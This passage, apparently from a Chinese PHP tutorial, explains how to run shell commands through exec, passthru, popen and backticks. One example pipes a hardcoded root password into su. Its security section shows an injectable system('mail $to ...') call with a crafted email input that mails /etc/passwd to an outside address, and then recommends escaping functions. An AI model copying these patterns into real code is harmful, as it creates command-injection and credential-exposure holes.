- exec(""/bin/ls -l"");
- exec(""/bin/ls -l"", $res);
- #$res是一個資料,每個元素代表結果的一行
- exec(""/bin/ls -l"", $res, $rc);
- #$rc的值是命令/bin/ls -l的狀態代碼。成功的情況下通常是0
- ?>
複製代碼passthru()原型:void passthru (string command [, int return_var])passthru()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出裝置上。所以passthru()函數經常用來調用象pbmplus(Unix下的一個處理圖片的工具,輸出二進位的原始圖片的流)這樣的程式。同樣它也可以得到命令執行的狀態代碼。 例子:
- header(""Content-type: image/gif"");
- passthru(""./ppmtogif hunte.ppm"");
- ?>
複製代碼2,用popen()函數開啟進程以上方法只能簡單地執行命令,卻不能與命令互動。但有些時候必須向命令輸入一些東西,如在增加Linux的系統使用者時,要調用su來把目前使用者換到root才行,而su命令必須要在命令列上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。 popen()函數開啟一個進程管道來執行給定的命令,返回一個檔案控制代碼。既然返回的是一個檔案控制代碼,那麼就可以對它讀和寫了。在PHP3中,對這種控制代碼只能做單一的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個控制代碼是以一種模式(讀或寫)開啟的,否則必須調用pclose()函數來關閉它。 例子1:
- $fp=popen(""/bin/ls -l"", ""r"");
- ?>
-
複製代碼例子2:
- /* PHP中如何增加一個系統使用者
- 增加一個名字為james的使用者,
- root密碼是 verygood。僅供參考
- */
- $sucommand = ""su --login root --command"";
- $useradd = ""useradd "";
- $rootpasswd = ""verygood"";
- $user = ""james"";
- $user_add = sprintf(""%s ""%s %s"""",$sucommand,$useradd,$user);
- $fp = @popen($user_add,""w"");
- @fputs($fp,$rootpasswd);
- @pclose($fp);
- ?>
-
複製代碼3,用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)方法很簡單,用兩個反撇號把要執行的命令括起來作為一個運算式,這個運算式的值就是命令執行的結果。如:
- $res=`/bin/ls -l`;
- echo '
'.$res.' ';
- ?>
複製代碼輸出類似這樣:hunte.gifhunte.ppmjpg.htmjpg.jpgpassthru.php要考慮兩個問題:安全性和逾時。先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個檔案中。你編寫了一個有表單的HTML檔案,讓你的使用者輸入他們的EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程式來發送這個檔案。程式就象這樣:
- system(""mail $to < products.txt"");
- echo ""產品目錄已經發送到你的信箱:$to"";
- ?>
-
複製代碼用這段代碼,一般的使用者不會產生什麼危險,但實際上存在著非常大的安全性漏洞。如果有個惡意的使用者輸入了這樣一個EMAIL地址:'--bla mail someone@domain.com < /etc/passwd '那麼這條命令最終變成:'mail --bla mail someone@domain.com < /etc/passwd < products.txt'可怕吧。幸好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字串中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重新導向(>)和從檔案讀入(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字串兩邊加上單引號,並把字串中的單引號轉義,這樣這個字串就可以安全地作為命令的參數。 逾時問題如果要執行的命令會花費很長的時間,則應該把這個命令放到系統的後台去運行。但在預設情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP指令碼的逾時。 解決方案:把命令的輸出重新導向到另外一個檔案或流中,樣本:
- system(""/usr/local/bin/order_proc > /tmp/null &"");
- ?>
複製代碼 |